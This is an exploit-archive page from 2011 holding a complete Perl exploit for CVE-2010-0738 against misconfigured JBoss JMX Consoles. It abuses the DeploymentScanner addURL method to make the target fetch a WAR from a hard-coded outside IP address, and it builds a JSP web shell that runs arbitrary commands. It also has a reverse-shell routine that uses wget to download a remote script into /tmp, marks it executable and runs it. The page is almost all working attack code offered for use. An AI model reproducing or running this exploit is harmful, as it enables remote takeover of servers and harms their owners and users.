Home / exploits JBoss addURL Misconfiguration Attack
Posted on 05 October 2011
#!/usr/bin/perl # Exploit Title: JBoss, JMX Console, misconfigured DeploymentScanner # Date: Oct 3 2011 # Author: y0ug <at> codsec.com # Version: # Tested on: Linux # CVE : CVE-2010-0738 # # POC against misconfigured JBoss JMX Console # It use the addUrl method in DeploymentScanner module # # More information # http://packetstormsecurity.org/files/download/105479/JBossWhitepaper.pdf # http://poc-hack.blogspot.com/2011/02/how-to-hack-any-version-of-jboss.html # # You need to edit # $url_cmd to match the war payload url # $url_shell is your reverse shell url # ( only if you want to use reverse_shell("ip", "port") ) # # The JSP shell is not mine is available every where # I add a -b param that build the war contener to do this you need java # # Is a fast POC coded this morning for fun so maybe it don't cover all case/version # # Usage: # Build the war contener (need java) # ./jboss -b # Hack # ./jboss http://www.vuln.com:8080 use strict; use LWP::UserAgent; use HTTP::Request::Common qw(POST); use HTTP::Request::Common qw(GET); use IO::Socket::SSL; use Cwd; # configuration section my $url_cmd = "http://78.46.149.64/cmd.war"; my $url_shell = "http://78.46.149.64/reverse.pl"; my $debug = 0; # 1 to switch to debug my $useragent = "'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.12) ". "Gecko/20101026 Firefox/3.6.12 ( .NET CLR 3.5.30729)'"; # Don't edit from here my $installed = 0; my $url; my $ua = LWP::UserAgent->new; $SIG{INT} = "sigtrap"; sub debug { if( $debug ){ print STDERR "debug: ", @_, " "; } } sub check_url { my $request = GET "$url/jmx-console/"; my $response = $ua->request($request); if (!$response->is_success) { print STDERR $response->status_line, " "; return -1; } return 0; } sub sigtrap { if ( $installed ){ print " [*] Clean of $url in progress... "; clean_war(); } exit 1; } sub find_method_index { my $method = shift(@_); my $request = GET "$url/jmx-console/HtmlAdaptor?" . "action=inspectMBean&name=jboss.deployment" . "%3Aflavor%3DURL%2Ctype%3DDeploymentScanner"; my $response = $ua->request($request); if (!$response->is_success) { print STDERR $response->status_line, " "; return -1; } my $page = $response->decoded_content; # Match a certain jboss version while ( $page =~ m{<form method="post" action="HtmlAdaptor">(.*?)</form>}sg ){ my $form = $1; if ( $form =~ /$method/ ){ if ( $form =~ /<input type="hidden" name="methodIndex" value="(d+)">/ ){ debug("method $method at index $1"); return $1; } } } # Match another jboss version while ( $page =~ m{<td class='param'>$method</td>(.*?)</tr>}sg ){ my $form = $1; if ( $form =~ /<input type='hidden' name='methodIndex' value='(d+)'/>/ ){ debug("method $method at index $1"); return $1; } } # Match another jboss version while ( $page =~ m{<span class='aname'>$method</span>(.*?)<table>}sg ){ my $form = $1; if ( $form =~ /<input type="hidden" name="methodIndex" value="(d+)" />/ ){ debug("method $method at index $1"); return $1; } } return -1; } sub is_installed_war { my $method_index = find_method_index("hasURL"); if ( $method_index < 0 ) { print "Can't find methodIndex for hasURL "; return -1; } my $request = POST "$url/jmx-console/HtmlAdaptor", { action => 'invokeOp', name => 'jboss.deployment:type=DeploymentScanner,flavor=URL', methodIndex => "$method_index", arg0 => $url_cmd}; my $response = $ua->request($request); if (!$response->is_success) { print STDERR $response->status_line, " "; return -1; } my $page = $response->decoded_content; if ( $page =~ m{<pre>(.*?)</pre>}s ){ my $ret = $1; if ( $ret =~ /true/ ){ return 1; }else{ return 0; } }else{ print STDERR "error: occured during is_installed_war regex! "; return -2; } } sub install_war { if (is_installed_war == 1){ print " [*] Install canceled, already installed "; return 1; } my $method_index = find_method_index("addURL"); if ( $method_index < 0 ) { print "Can't find methodIndex for addURL "; return -1; } my $request = POST "$url/jmx-console/HtmlAdaptor", { action => 'invokeOp', name => 'jboss.deployment:type=DeploymentScanner,flavor=URL', methodIndex => "$method_index", arg0 => $url_cmd}; my $response = $ua->request($request); if (!$response->is_success) { print STDERR $response->status_line, " "; return -1; } my $page = $response->decoded_content; if ( $page =~ m{<span class='OpResult'>(.*?)</span>}s ){ print " [*] ", trim($1), " "; return 0; }elsif ( $page =~ m{<pre>(.*?)</pre>}s ){ print " [*] ", trim($1), " "; return 0; }elsif ( $page =~ m{</table>(.*?)</body>}s ){ print " [*] ", trim($1), " "; return 0; }else{ print STDERR "error: occured during install_war regex! "; return -1; } } sub clean_war { while(is_installed_war == 1){ if ( uninstall_war() < 0 ){ return -1; } } print " [*] Clean complete "; return 0; } sub uninstall_war { my $method_index = find_method_index("removeURL"); if ( $method_index < 0 ) { print "Can't find methodIndex for removeURL "; return -1; } my $request = POST "$url/jmx-console/HtmlAdaptor", { action => 'invokeOp', name => 'jboss.deployment:type=DeploymentScanner,flavor=URL', methodIndex => "$method_index", arg0 => $url_cmd}; my $response = $ua->request($request); if (!$response->is_success) { print STDERR $response->status_line, " "; return -1; } my $page = $response->decoded_content; if ( $page =~ m{<span class='OpResult'>(.*?)</span>}s ){ print " [*] ", trim($1), " "; return 0; }elsif ( $page =~ m{<pre>(.*?)</pre>}s ){ print " [*] ", trim($1), " "; return 0; }elsif ( $page =~ m{</table>(.*?)</body>}s ){ print " [*] ", trim($1), " "; return 0; }else{ print STDERR "error: occured during uninstall_war regex! "; return -1; } } sub execute { my $cmd = shift(@_); print '$ ' . $cmd . " "; my $request = POST "$url/cmd/cmd.jsp", { cmd => $cmd}; my $response = $ua->request($request); if (!$response->is_success) { if ( $response->code == 404 ){ print STDERR "Command war contener is not installed! "; }else{ print STDERR $response->status_line, " "; } return -1; } my $page = $response->decoded_content; my $content = $page; if ( $content =~ m{<BR>(.*)</pre>}s ){ print trim($1) . " "; return 0; }else{ print STDERR "error: occured during exec regex! "; return -1; } } sub reverse_shell { my ($ip, $port) = @_; print " [*] reverse shell to $ip $port "; my $cmd = "wget -O /tmp/a $url_shell"; if ( execute($cmd) < 0 ){ return -1; } if ( execute("chmod +x /tmp/a") < 0 ){ return -1; } return execute("/tmp/a $ip $port"); } sub trim($){ my $string = shift; $string =~ s/^s+//; $string =~ s/s+$//; return $string; } sub setup { print " [*] Check url $url... "; if ( check_url() < 0 ){ print "Url $url not available! "; return -1; } print " [*] Try to install command war contener... "; return install_war; } sub check_cmd { my $t = 5; for( my $i = 1; $i <= $t ; ++$i ){ my $request = GET "$url/cmd/cmd.jsp"; my $response = $ua->request($request); if (!$response->is_success) { if ( $response->code != 404 ){ print STDERR $response->status_line, " "; return 0; } print(" [*] check_cmd $i/$t failed "); }else{ print(" [*] check_cmd $i/$t ok, gogogo! "); return 1; } if ( $i < $t-1) {sleep(15); } } return 0; } sub help { print "Help "; print " - Is a perl shell so you can call perl function "; print " > execute("id") # execute the commande "; print " > reverse_shell("8.8.8.8", "1912") # download your reverse shell and execute it "; print " > clean # remove the war contener from the server "; print " > check_cmd # loop until command available "; print " > install_war # install the war contener from url "; print " > exit # clean and quit "; print " > exitd # exit without cleaning "; } sub build_war { my $jsp_file = "cmd.jsp"; open( my $jsp_output, '>', $jsp_file ) or die("Can't open $jsp_file : $!"); print $jsp_output <<EOF; <%@ page import="java.util.*,java.io.*"%> <% %> <HTML><BODY> Commands with JSP <FORM METHOD="GET" NAME="myform" ACTION=""> <INPUT TYPE="text" NAME="cmd"> <INPUT TYPE="submit" VALUE="Send"> </FORM> <pre> <% if (request.getParameter("cmd") != null) { out.println("Command: " + request.getParameter("cmd") + "<BR>"); Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %> </pre> </BODY></HTML> EOF close($jsp_output); mkdir "WEB-INF"; my $xml_file = "WEB-INF/web.xml"; open( my $xml_output, '>', $xml_file ) or die("Can't open $xml_file : $!"); print $xml_output <<EOF; <?xml version="1.0" ?> <web-app xmlns="http://java.sun.com/xml/ns/j2ee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd" version="2.4"> <servlet> <servlet-name>Command</servlet-name> <jsp-file>/cmd.jsp</jsp-file> </servlet> </web-app> EOF close($xml_output); system("jar cvf cmd.war WEB-INF/ $jsp_file"); unlink($xml_file); unlink($jsp_file); rmdir("WEB-INF"); print " [*] War contener is here ", getcwd, "/cmd.war "; print " [*] Upload it to your server and update script url "; } sub shell { do { print("> "); chop($_ = <STDIN>); if ( $_ eq "help" ) { help(); } if ( $_ eq "exitd" ) { exit 0; } elsif ( $_ ne "exit" ){ eval($_); } warn() if $@; } while ($_ ne "exit"); } if($#ARGV+1 != 1){ print " [*] Exploit Title: JBoss, JMX Console, misconfigured DeploymentScanner "; print " [*] Date: Oct 3 2011 "; print " [*] Author: y0ug <at> codsec.com "; print " [*] Version: 0.1 "; print " [*] JSP shell url $url_cmd "; print " [*] Usage: "; print " Build the war contener (need java) "; print " $0 -b "; print " Hack "; print " $0 http://www.vuln.com:8080 "; exit 1; } if($ARGV[0] eq "-b"){ build_war; exit 0; } $url = $ARGV[0]; $ua->agent($useragent); print " [*] JSP shell url $url_cmd "; if ( setup() < 0 ){ print " [*] Setup failed! "; exit 1; } $installed = 1; print " [*] Wait few minutes, times to JBoss to load the url "; print " [*] You can find the shell here too "; print " [*] $url/cmd/cmd.jsp "; if ( check_cmd() <= 0 ){ print " [*] ## Exploit certainly failed! ## "; print " [*] You can wait a little longer (run > check_cmd) "; }else{ print " [*] Congrats, is up! "; execute("id"); } shell(); print " [*] Clean of $url in progress... "; clean_war(); exit(0);
